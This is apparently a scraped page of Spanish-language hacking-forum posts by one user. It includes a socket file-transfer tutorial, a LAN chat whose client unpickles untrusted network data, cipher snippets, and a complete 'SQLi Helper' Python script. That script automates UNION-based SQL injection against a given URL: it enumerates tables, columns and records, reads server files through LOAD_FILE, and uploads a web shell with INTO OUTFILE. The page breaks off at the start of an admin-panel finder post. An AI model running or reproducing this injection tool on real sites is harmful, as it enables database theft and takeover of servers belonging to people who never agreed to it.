    archivo = os.path.basename(url)
    comprobar_rar(data, archivo)

def comprobar_rar(data, nombre):       
    nombre += ".rar"
    if rar_.match(data):
        print "\t[+] Hay un rar dentro"
        print "\t[+] Guardando en:", nombre
        with open(nombre, "wb") as archivo:
            archivo.write(rar_.findall(data)[0].decode("hex"))   

def comprobar_ruta(ruta):
    if os.path.isfile(ruta):
        abrir_archivo(ruta)
    elif os.path.isdir(ruta):
        for archivo in os.listdir(ruta):
            nuevo = os.path.join(ruta, archivo)
            if os.path.isfile(nuevo):
                abrir_archivo(nuevo)
    elif ruta.startswith("http://"):
        abrir_url(ruta)

if len(sys.argv) > 1:
    comprobar_ruta(sys.argv[1])
else:
    print "Uso: inRar.py <archivo | carpeta | url>"


Su uso es simple, se le puede pasar como parametro una url, un archivo o un directorio, la aplicación, dependiendo del parametro ejecuta la función adecuada.
Por ejemplo, podemos revisar la url de la imagen del comienzo del post

Saludos!
#22
Esa es mi dudad, por qué cierran algunos de los temas que se marcan como resueltos? he leído las reglas y en ninguna dice que eso sucedería.

Personalmente me molesta un poco porque si bien un tema puede que esté resuelto, la discución puede no haber terminado y puede quedar algo que aportar.

PD: de paso me gustaría saber si alguien puede reabrir este tema: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos y mis intenciones no son "armar problema"!

#23
Wargames y retos / [Reto] vulnerame
Noviembre 23, 2013, 07:33:01 PM
Acabo de encontrar este viejo reto que codee hace mucho tiempo para OverSec, espero lo disfuten

Nota: No tengo los datos del host, así que si alguien se pasa de listo no tengo forma de ponder todo en su lugar de nuevo y dañarán el reto a los demás users.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos y comenten que les pareció.
#24
Python / Tutorial envio de archivos usando sockets
Noviembre 22, 2013, 01:46:12 AM
Hola, sé que en internet se encuentran multitud de ejemplos acerca de
cómo hacer lo que voy a explicar a continuación pero como no es la primer
vez que me lo preguntan, decidí escribir este pequeño tutorial y
explicarlo lo más sencillo que pueda:

¿Qué usaremos?

  • Python 2.7

Problemas con los sockets:

En python es muy fácil escribir aplicaciones cliente/servidor, sólo
tenemos que echar mano de la libreria nativa No tienes permitido ver los links. Registrarse o Entrar a mi cuentade Python.

Pero una vez comenzamos a trabajar con ésta libreria, nos damos cuenta
que se nos presentan un par de problemas o incovenientes que a veces no
hallamos la manera de solucionar, entre ellos se encuentra que el método
del objeto socket sólo nos permite recibir hasta una cantidad
FIJA de bytes.

Sí se envian datos menores o iguales a la cantidad establecida en nuestro
método recv recibiremos el mensaje sin problemas. Pero ¿y si el mensaje
es mayor a la cantidad de bytes establecidos?

La solución:

La solución es relativamente sencilla, pero suele ser un poco confusa así
que intentaré explicarlo de la forma más sencilla.

Programaremos un protocolo para nuestro cliente servidor.

Muy bonito todo, pero, ¿Qué es un protocolo?

Definamos protocolo como un simple conjunto de reglas que usan dos máquinas
para comunicarse. Por ejemplo: si dos personas (un bartener y un cliente)
hablan idiomas distintos (inglés y español) jamás se entenderán y el cliente
jamás obtendra su cerveza; pero si hablan el mismo idioma (inglés-inglés o español-español)
se entenderán y el cliente tendrá su cerveza y el bartender su dinero.

En este ejemplo, el idioma -ya sea español o inglés- es el protocolo que
las dos máquinas (el cliente y el bartender) usan para comunicarse, pero tienen
que usar el mismo protocolo -hablar el mismo idioma-.

Sí hasta ahora has entendido, nuestro siguiente paso será diseñar nuestro
protocolo

Ahora sí, manos a la obra:

Antes definamos el trabajo de cada aplicación:

Cliente: Se encargará de enviar el archivo
Servidor: Se encargará de recibir y guardar el archivo en el disco duro

Teniendo en cuenta esto, ya nos damos una idea de lo que queremos hacer:
el cliente enviará la longitud (cantidad de bytes) del archivo que quiere enviar, el servidor
recibe la longitud y se prepara para recibir el archivo; avisa al cliente
que está listo para recibir el archvio. El cliente envia el archivo.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En la imagen de arriba (disculpen el paint :P), trato de explicar un poco mejor
cómo funcionará nuestro protocolo.

Las líneas rojas representan los datos que son enviados por el cliente hacía el servidor
Las líneas amarillas representan los datos que son enviados por el servidor hacía el cliente
Los bloques negros -los que parecen una T- significan que los datos que son recibidos
deben ser verificados para continuar.

Básicamente quedaría así:

Cliente: Enviar longitud archivo.
Servidor: Comprobar la longitud (debe ser un número).
Servidor: En caso que la longitud sea correcta, avisar al cliente para que envie al archivo.

Cliente: Comprobar que el servidor está listo.
Cliente: Enviar archivo al servidor.

Código del cliente:

Código: python
# -*- coding: utf-8 -*-

# Envio de archivos: cliente
# 11Sep

import socket

# Creamos una lista con la dirección de
# la máquina y el puerto donde
# estara a la escucha
CONEXION = (socket.gethostname(), 9001)
ARCHIVO = "a.pdf"


# Instanciamos el socket y nos
# conectamos
cliente = socket.socket()
cliente.connect(CONEXION)

# Abrimos el archivo en modo lectura binaria
# y leemos su contenido
with open(ARCHIVO, "rb") as archivo:
    buffer = archivo.read()

while True:
    # Enviamos al servidor la cantidad de bytes
    # del archivo que queremos enviar
    print "Enviando buffer"
    cliente.send(str(len(buffer)))
   
    # Esperamos la respuesta del servidor
    recibido = cliente.recv(10)
    if recibido == "OK":
        # En el caso que la respuesta sea la correcta
        # enviamos el archivo byte por byte
        # y salimos del while
        for byte in buffer:
            cliente.send(byte)
        break


Código del servidor:

Código: python
# -*- coding: utf-8 -*-

# Envio archivos: servidor
# 11Sep

import socket

# Creamos una lista con los datos del la conexión
CONEXION = (socket.gethostname(), 9001)

servidor = socket.socket()

# Ponemos el servidor a la escucha
servidor.bind(CONEXION)
servidor.listen(5)
print "Escuchando {0} en {1}".format(*CONEXION)
# Aceptamos conexiones
sck, addr = servidor.accept()
print "Conectado a: {0}:{1}".format(*addr)
while True:
    # Recibimos la longitud que envia el cliente
    recibido = sck.recv(1024).strip()
    if recibido:
        print "Recibido:", recibido
    # Verificamos que lo que recibimos sea un número
    # en caso que así sea, enviamos el mensaje "OK"
    # al cliente indicandole que estamos listos
    # para recibir el archivo
    if recibido.isdigit():
        sck.send("OK")
       
        # Inicializamos el contador que
        # guardara la cantidad de bytes recibidos
        buffer = 0
        # Abrimos el archivo en modo escritura binaria
        with open("archivo", "wb") as archivo:
            # Nos preparamos para recibir el archivo
            # con la longitud específica
            while (buffer <= int(recibido)):
                data = sck.recv(1)
                if not len(data):
                    # Si no recibimos datos
                    # salimos del bucle
                    break
                # Escribimos cada byte en el archivo
                # y aumentamos en uno el buffer
                archivo.write(data)
                buffer += 1
           
            if buffer == int(recibido):
                print "Archivo descargado con éxito"
            else:
                print "Ocurrió un error/Archivo incompleto"
        break


Como pueden ver, el código no es nada del otro mundo. Eso sí,
nuestro protocolo tiene un par de fallos potenciales que queda en sus
manos encontrar y solucionar.

Saludos!
11Sep.
#25
Python / [PyQt4] Chat multiconexión
Noviembre 08, 2013, 09:39:23 PM
Revisando en uno de mis backups encontré este chat que codee hace algún tiempo para una LAN con un servidor que acepta multiples conexiones. Hay mucho que mejorar pero espero le sirva a alguien.

Servidor:

Código: python
from threading import Thread as Process

import socket
import cPickle as pickle

class servidor():
    def __init__(self):
        self.port = 9001
        self.host = socket.gethostname()
        self.conectados = []
        self.escuchar()
   
    def escuchar(self):
        try:
            ser = socket.socket()
            ser.bind((self.host, self.port))
            ser.listen(5)
            while True:
                (sck, addr) = ser.accept()
                if not sck in self.conectados:
                    self.conectados.append(sck)
                    Process(target=self.indpt, args=(sck,addr)).start()
        except KeyboardInterrupt:
            print c.FAIL % ("Saliendo")
            ser.close()
            return
   
    def indpt(self, sck, addr):
        try:
            direccion = "%s:%i" % addr
            print c.OKGREEN % ("conectado a: " + direccion)
            sck.send(pickle.dumps(("Servidor", "Conectado al servidor")))
            while True:
                buff = sck.recv(10024).strip()
                if not len(buff):
                    print c.FAIL % (direccion + " desconectado")
                    self.conectados.remove(sck)
                    sck.close()
                    return
                else:
                    for i in self.conectados:
                        if i != sck:
                            print i.send(buff + "\r\n")
        except:
            print c.FAIL % (direccion + " desconectado")
            sck.close()
            return

class c:
    OKGREEN = '\033[92m[*] %s\033[0m'
    FAIL = '\033[91m[-] %s\033[0m'

servidor()


Cliente:

Código: python
from PyQt4.QtCore import *
from PyQt4.QtGui import *

import cPickle as pickle
import socket
import time
import sys


class Gui(QWidget):
    def __init__(self, host, port):
        QWidget.__init__(self)
       
        self.nick = "Yo"
       
        self.recv = QTextEdit()
        self.send = QLineEdit()
        self.btn_send = QPushButton("Enviar")
        self.btn_connect = QPushButton("Conectar")
       
        hbox = QHBoxLayout()
        vbox = QVBoxLayout()
       
        vbox.addWidget(self.recv)
        vbox.addLayout(hbox)
        vbox.addWidget(self.btn_connect)
       
        hbox.addWidget(self.send)
        hbox.addWidget(self.btn_send)
       
        self.setLayout(vbox)

        self.btn_send.clicked.connect(self.enviar)
        self.btn_connect.clicked.connect(self.conectar)
   
    def conectar(self):
        self.con = Conectar()
        self.connect(self.con, SIGNAL("conexion"), self.conexion)
        self.con.show()
   
    def conexion(self, data, nick):
        self.nick = nick
        self.sck = socket.socket()
        self.sck.connect(data)
       
        self.e_thread = Escuchar(self.sck)
        self.connect(self.e_thread, SIGNAL("message"), self.mensaje)
        self.e_thread.start()
   
    def mensaje(self, data):
        mensaje = '<font color="red">%s: </font>%s' % data
        self.recv.append(mensaje)
   
    def enviar(self):
        data = str(self.send.text().toAscii())
       
        paquete = (self.nick, data)
        paquete = pickle.dumps(paquete)
       
        if data:
            self.sck.send(paquete)
            self.send.setText("")
            self.mensaje((self.nick, data))
   

class Conectar(QWidget):
    def __init__(self):
        QWidget.__init__(self)
       
        self.host = QLineEdit(socket.gethostname())
        self.port = QLineEdit()
        self.nick = QLineEdit()
        self.btn_connect = QPushButton("Conectar")
       
        hport = QHBoxLayout()
        hhost = QHBoxLayout()
        hnick = QHBoxLayout()
        vbox = QVBoxLayout()
       
        hhost.addWidget(QLabel("Host:"))
        hhost.addWidget(self.host)
       
        hport.addWidget(QLabel("Port:"))
        hport.addWidget(self.port)
       
        hnick.addWidget(QLabel("Nick:"))
        hnick.addWidget(self.nick)
       
        vbox.addLayout(hhost)
        vbox.addLayout(hport)
        vbox.addLayout(hnick)
        vbox.addWidget(self.btn_connect)
       
        self.setLayout(vbox)
       
        self.btn_connect.clicked.connect(self.comprobar)
   
    def comprobar(self):
        port = int(self.port.text().toAscii())
        host = str(self.host.text().toAscii())
        nick = str(self.nick.text().toAscii())
       
        if not nick:
            nick = host
       
        if port and host:
            self.emit(SIGNAL("conexion"), (host, port), nick)

class Escuchar(QThread):
    def __init__(self, sck):
        QThread.__init__(self)
        self.sock = sck
       
    def run(self):
        while True:
            buff = self.sock.recv(10024).strip()
            serialized = pickle.loads(buff)
            time.sleep(0.3)
            self.emit(SIGNAL("message"), serialized)
   
    def __del__(self):
        self.wait()

App = QApplication(sys.argv)
GUI = Gui("192.168.1.7", 9001)
GUI.show()
App.exec_()


Saludos!
#26
Python / Cifrado rot13 y atbash
Abril 12, 2013, 02:05:07 AM
Les dejo un par de algoritmos que me pusieron e trabajo en la U por si a alguien le es de utilidad, la idea es codificar con rot13 y atbash sin importar librerias.

Código: python

#!/usr/bin/python2

#65 90
#97 122

def rot13(palabra):
    Cifrado = ''
    for i in palabra:
        buff = ord(i)
        if (buff >= 65 and buff <= 90) or (buff >= 97 and buff <= 122):
            if ((buff + 13 > 90 and buff + 13 <= 103) or (buff + 13 > 122 and buff + 13 <= 135)):
                Cifrado += chr(buff -13)
            else:
                Cifrado += chr(buff + 13)
    print Cifrado
   
def atbash(palabra):
    V1 = "abcdefghijklm"
    V2 = "zyxwvutsrqpon"
   
    Buff = ""
   
    for i in range(len(palabra)):
        for a in range(len(V1)):
            if V1[a] == palabra[i]:
                Buff += V2[a]
            elif V2[a] == palabra[i]:
                Buff += V1[a]
    print Buff

atbash("criptografia")
rot13("Criptografia")


Saludos!
#27
Python / Wargames y problemas
Enero 21, 2013, 09:15:24 PM
A continuación les dejo un par de webs, la primera es un wargame diseñado para resolver usando Python y en la segunda tienes que resolver los problemas que te dan.


¿Conoces alguna más?

Saludos!
#28
Python / Top Posts
Enero 18, 2013, 06:12:16 PM







TUTORIALES



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


[ Por Barlan ]

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


[ Por WhiZ ]

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



RETOS



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




CÓDIGOS



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




GUI



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

#29
Python / SQLi Helper
Enero 13, 2013, 02:31:43 AM
Buscando en mis backups un par de libros, acabo de encontrar este script que codee hace un buen tiempo ya.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Las opciones que tiene son:

Citar
Opciones:
    1. Sacar Tablas por limit.
    2. Sacar Tablas por Group_concat().

    3. Sacar Columnas por Limit.
    4. Sacar columnas por Group_concat().


    5. Sacar Registros.

    6. Dumpear Shell.
    7. Cargar archivos (read_file).

    8. Salir.

Código: python

#!/usr/bin/python2
# -*- coding: utf-8 -*-
#11Sep

import urllib, os, sys, time, re

# Menu
def menu():
    print '''
Opciones:
    1. Sacar Tablas por limit.
    2. Sacar Tablas por Group_concat().

    3. Sacar Columnas por Limit.
    4. Sacar columnas por Group_concat().


    5. Sacar Registros.

    6. Dumpear Shell.
    7. Cargar archivos (read_file).

    8. Salir.
'''
# Limpiamos la terminal dependiendo del SO
def limpiar():
    if sys.platform == 'win32':
        os.system('cls')
    else:
        os.system('clear')
    if not os.path.isdir(RUTA +'/logs'):
        os.mkdir(RUTA +'/logs')

# Funcion para guardar el log
def guardar(datos):
    tmp = open(RUTA + '/logs/%s.txt' % host, 'a')
    tmp.write(datos+'\r')
    tmp.close()

# Convertir String a Hexadecimal
def hexadecimal(palabra):
    tmp=''
    for i in palabra:
        tmp+=hex(ord(i))
    return '0x'+str(tmp.replace('0x', ''))

# Dumpear archivos
def dumpear():
    shell = raw_input('Ingrese el codigo de la shell > ')
    ruta = raw_input('Ingrese la ruta del archivo (este no puede estar repetido) > ')

    shell = shell.replace('\'', '\"')
    shell = urllib.quote('\'%s\'' % shell)
    ruta = urllib.quote('\'%s\'' % ruta)

    inyeccion = inj
    inyeccion = inyeccion.replace('-VULNERABLE-', shell)
    inyeccion += '+INTO+OUTFILE+%s+--' % ruta

    tmp = urllib.urlopen(URL + inyeccion).read()

    print 'Revise la ruta para verificar qeu se subio la shell'
    raw_input()

# Cargar Archivos
def loadfile():
    ruta = raw_input('Ingrese la ruta del archivo a cargar > ')
    ruta = urllib.quote('\'%s\'' % ruta)

    inyeccion = inj
    inyeccion = inyeccion.replace('-VULNERABLE-', 'concat(0x2d494e4943494f2d,LOAD_FILE+(%s),0x2d494e4943494f2d)' % ruta) # -INICIO-

    tmp = urllib.urlopen(URL + inyeccion).read()
    tmp = tmp.split('-INICIO-')

    if (len(tmp) < 2):
        print 'No se pudo leer el archivo'
    else:
        archivo = open(RUTA + '/logs/%sdump.txt' % host, 'a')
        archivo.write('\r\n[+] ' + URL + ruta)
        archivo.write(tmp[1])
        archivo.write('\r\n[-] ' + URL + ruta)
        archivo.close()

        print 'Revise en la carpeta logs el archivo: %sdump.txt' % host
    raw_input()

# Hallar el numero de columnas
def hallar():
    error = ('unknown column','mysql_fetch_row','mysql_fetch_assoc','mysql_fetch_array','mysql_numrows')
    for y in range(1,100):
        inyeccion ='+order+by+%s+--' % str(y)
        tmp = urllib.urlopen(URL + inyeccion).read().lower()
        for i in error:
            if i in tmp:
                print '[+] \t <!-- La aplicacion usa %s columnas -->' % str(y - 1)
                guardar('\t <!-- La aplicacion usa %s columnas -->' % str(y - 1))
                return y - 1
    print 'Escaneadas 100 Columnas'
    exit()

# Hallar la columna vulnerable
def vulnerable():
    inyeccion = '+and+1=0+union+all+select+'
    for i in range(1, colvul + 1):
        inyeccion += hexadecimal('-COLUMNA%s-' % str(i)) + ','
    inyeccion = inyeccion[:len(inyeccion)-1]
    inyeccion += '+from+information_schema.tables+--'

    for i in range(1, colvul + 1):
        tmp = urllib.urlopen(URL + inyeccion).read()
        if '-COLUMNA%s-' % str(i) in tmp:
            print '\t <!-- Columna vulnerable encontrada en: %s -->' % str(i)
            guardar('\t <!-- Columna vulnerable encontrada en: %s -->' % str(i))
            inyeccion = inyeccion.replace(hexadecimal('-COLUMNA%s-' % str(i)), 'table_name', 1) #-TABLAS-
            tmp = urllib.urlopen(URL + inyeccion).read()
            if 'CHARACTER_SETS' in tmp:
                inyeccion = inyeccion.replace('table_name', '-VULNERABLE-', 1)
                inyeccion = inyeccion.replace('+from+information_schema.tables+--', '')
                return inyeccion
    print 'No se encontraron columnas vulnerables'
    exit()

# Hallar datos relevantes
def datos():
    inyeccion=inj

    # Usuario
    inyeccion = inyeccion.replace('-VULNERABLE-','concat(0x2d534550415241444f522d,user(),0x2d534550415241444f522d)')#-SEPARADOR-
    tmp = urllib.urlopen(URL + inyeccion).read()
    tmp = tmp.split('-SEPARADOR-')
    print '\r\n\t <!-- El usuario es %s -->' % str(tmp[1])
    guardar('\r\n\t <!-- El Usuario es: %s -->'% str(tmp[1]))

    # Base de Datos
    inyeccion = inyeccion.replace('user()','database()')
    tmp = urllib.urlopen(URL + inyeccion).read()
    tmp = tmp.split('-SEPARADOR-')
    print '\t <!-- La BD es: %s -->' % str(tmp[1])
    guardar('\t <!-- La BD es: %s -->'% str(tmp[1]))

    # Version MySQL
    inyeccion = inyeccion.replace('database()','version()')
    tmp = urllib.urlopen(URL + inyeccion).read()
    tmp = tmp.split('-SEPARADOR-')
    print '\t <!-- La version de MySQL es: %s -->\r\n'% str(tmp[1])
    guardar('\t <!-- La version de MySQL es: %s -->\r\n'% str(tmp[1]))

# Sacar Tablas por Limit
def tablaslimit():
    try:
        print '\t <!-- Buscando Tablas por Limit -->'
        guardar('\t <!-- Buscando Tablas por Limit -->')
        inyeccion = inj
        inyeccion = inyeccion.replace('-VULNERABLE-', 'concat(0x2d5441424c41533a2d,table_name,0x2d5441424c41533a2d)') #-TABLAS:-
        inyeccion += '+from+information_schema.tables+limit+-1,1+--'
        contador = 0

        while True:
            inyeccion = inyeccion.replace('+limit+%s,1+--' % str(contador - 1), '+limit+%s,1+--' % str(contador))
            tmp = urllib.urlopen(URL + inyeccion).read()
            tmp = tmp.split('-TABLAS:-')

            if len(tmp) < 2:
                print '\t <!-- %s Tablas Encontradas -->' % str(contador)
                guardar('\t <!-- %s Tablas Encontradas -->' % str(contador))
                break
            else:
                print tmp[1]
                guardar(tmp[1])
            contador += 1
        raw_input()
    except KeyboardInterrupt:
        return()
#Sacar Tablas por Group
def tablasgroup():
    print '\t <!-- Buscando Columnas por Group -->'
    guardar('\t <!-- Buscando Columnas por Group -->')

    inyeccion = inj
    inyeccion = inyeccion.replace('-VULNERABLE-','concat(0x2d5441424c41533a2d,replace(group_concat(table_name),0x2c,0x3c62723e),0x2d5441424c41533a2d)') #-TABLAS:-
    inyeccion += '+from+information_schema.tables+--'

    tmp = urllib.urlopen(URL + inyeccion).read()
    tmp = tmp.split('-TABLAS:-')
    tmp[1] = tmp[1].replace('<br>','\n')
    print tmp[1]
    guardar(tmp[1])
    tmp = len(tmp[1].split('\n'))
    print '\t <!-- %i Tablas Encontradas -->' % tmp
    guardar('\t <!-- %i Tablas Encontradas -->' % tmp)
    raw_input()

# Sacar Columnas dependiendo de la tabla por limit
def columnaslimit(tabla):
    print '\r\n\t <!-- Buscando Columnas de la Tabla: %s por Limit -->' % tabla
    guardar('\r\n\t <!-- Buscando Columnas de la Tabla: %s por Limit -->' % tabla)
    inyeccion = inj
    inyeccion = inyeccion.replace('-VULNERABLE-','concat(0x2d434f4c554d4e41533a2d,column_name,0x2d434f4c554d4e41533a2d)')#-COLUMNAS:-
    inyeccion += '+from+information_schema.columns+where+table_name=%s+limit+-1,1+--' % hexadecimal(tabla)

    contador = 0

    while True:
        inyeccion = inyeccion.replace('+limit+%s,1+--' % str(contador - 1), '+limit+%s,1+--' % str(contador))
        tmp = urllib.urlopen(URL + inyeccion).read()
        tmp = tmp.split('-COLUMNAS:-')

        if len(tmp) < 2:
            print '\t <!-- %s Columnas encontradas en la Tabla %s -->' % (str(contador), tabla)
            guardar('\t <!-- %s Columnas encontradas en la Tabla %s -->' % (str(contador), tabla))
            break
        else:
            print tmp[1]
            guardar(tmp[1])
            contador += 1
    raw_input()
# Sacar Columnas Dependiendo de la tabla por Group
def columnasgroup(tabla):
    print '\r\n\t <!-- Buscando columnas de la Tabla %s por Group_concat() -->' % tabla
    guardar('\r\n\t <!-- Buscando columnas de la Tabla %s por Group_concat() -->' % tabla)

    inyeccion = inj
    inyeccion = inyeccion.replace('-VULNERABLE-', 'concat(0x2d434f4c554d4e41533a2d,replace(group_concat(column_name),0x2c,0x3c62723e),0x2d434f4c554d4e41533a2d)')#-COLUMNAS:-
    inyeccion += '+from+information_schema.columns+where+table_name=%s+--' % hexadecimal(tabla)

    tmp = urllib.urlopen(URL + inyeccion).read()
    tmp = tmp.split('-COLUMNAS:-')

    tmp[1] = tmp[1].replace('<br>','\n')
    print tmp[1]
    guardar(tmp[1])
    tmp = len(tmp[1].split('\n'))
    print '\t <!-- %s Columnas encontradas en la Tabla: %s -->' % (str(tmp), tabla)
    guardar('\t <!-- %s Columnas encontradas en la Tabla: %s -->' % (str(tmp), tabla))
    raw_input()

# Sacar Registros de la columna
def registros():
    columna = raw_input('Ingrese el nombre de la Tabla > ')
    registro = raw_input('Ingrese el nombre del campo(s)  > ')
    print '\r\n\t <!-- sacando Registros de la Columna: %s -->' % columna
    guardar('\r\n\t <!-- sacando Registros de la Columna: %s -->' % columna)

    registro = registro.replace(' ','')
    registro = registro.split(',')
    reg = ''

    for i in registro:
        reg += '%s,%s,' % (hexadecimal(' %s:' % i), i)

    inyeccion = inj
    inyeccion = inyeccion.replace('-VULNERABLE-','concat(0x2d534550415241444f523a2d,%s0x2d534550415241444f523a2d)' % reg)#-SEPARADOR:-
    inyeccion += '+from+%s+limit+-1,1+--' % columna

    contador = 0

    while True:
        inyeccion = inyeccion.replace('+limit+%s,1+--' % str(contador - 1), '+limit+%s,1+--' % str(contador))
        tmp = urllib.urlopen(URL + inyeccion).read()
        tmp = tmp.split('-SEPARADOR:-')

        if len(tmp) < 2:
            print '\t <!-- %i Registros encontrados en la columna: %s -->' % (contador, columna)
            guardar('\t <!-- %i Registros encontrados en la columna: %s -->' % (contador, columna))
            break
        else:
            print tmp[1]
            guardar(tmp[1])
            contador += 1
    raw_input()
# ######################### #
#                           #
#           INICIO          #
#                           #
# ######################### #

#Inyeccion Original remplazar -VULNERABLE-
# buscamos nuestra ruta
RUTA = sys.path[0]
# Limpiamos la terminal
limpiar()
print r'''
____             ___
/\  _`\          /\_ \    __
\ \,\L\_\     __ \//\ \  /\_\
\/_\__ \   /'__`\ \ \ \ \/\ \
   /\ \L\ \/\ \L\ \ \_\ \_\ \ \
   \ `\____\ \___, \/\____\\ \_\
    \/_____/\/___/\ \/____/ \/_/
                 \ \_\
                  \/_/
__  __          ___                    ____
/\ \/\ \        /\_ \                  /\  _`\
\ \ \_\ \     __\//\ \    _____      __\ \ \L\ \
\ \  _  \  /'__`\\ \ \  /\ '__`\  /'__`\ \ ,  /
  \ \ \ \ \/\  __/ \_\ \_\ \ \L\ \/\  __/\ \ \\ \
   \ \_\ \_\ \____\/\____\\ \ ,__/\ \____\\ \_\ \_\
    \/_/\/_/\/____/\/____/ \ \ \/  \/____/ \/_/\/ /
                            \ \_\
                             \/_/
'''
URL = raw_input('[+]  Ingrese la url > ')

if re.match('^http://.+', URL.lower()):
    host = URL.split('/')[2]
else:
    print 'Uso: http://web/pagina?variable=datos'
    exit()

print '[+]  [%s] Inicio Buscando en: %s  [+]' % (str(time.ctime()), host)
guardar('\r\n\t [+]  Escan realizado: %s  [+]' % str(time.ctime()))
guardar(URL)
# Buscanmos la cantidad de columnas
colvul = hallar()
# Buscamos la columna vulnerable, la que printea los datos de la BD
inj = vulnerable()
# Datos, Verion de MySQL, Usuario, BD
datos()

while True:
    menu()
    opt = raw_input('Ingrese la opcion > ')
    if opt == '1':
        tablaslimit()
    elif opt == '2':
        tablasgroup()
    elif opt == '3':
        columnaslimit(raw_input('Ingrese el nombre de la tabla > '))
    elif opt == '4':
        columnasgroup(raw_input('Ingrese el nombre de la tabla > '))
    elif opt == '5':
        registros()
    elif opt == '6':
        dumpear()
    elif opt == '7':
        loadfile()
    elif opt == '8':
        break
    else:
        print 'Opcion incorrecta'
        continue

print '[-]  [%s] Finalizado.  [-]' % str(time.ctime())
guardar('[-]  [%s] Finalizado.  [-]' % str(time.ctime()))



En cuanto puedo, reviso el código y codeo una GUI

PD: Desconocia que habia una herramienta con el mismo nombre :P

Saludos!
#30
Python / [PyQt4] Admin Panel Finder
Enero 10, 2013, 03:07:18 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: python

#!/usr/bin/python2
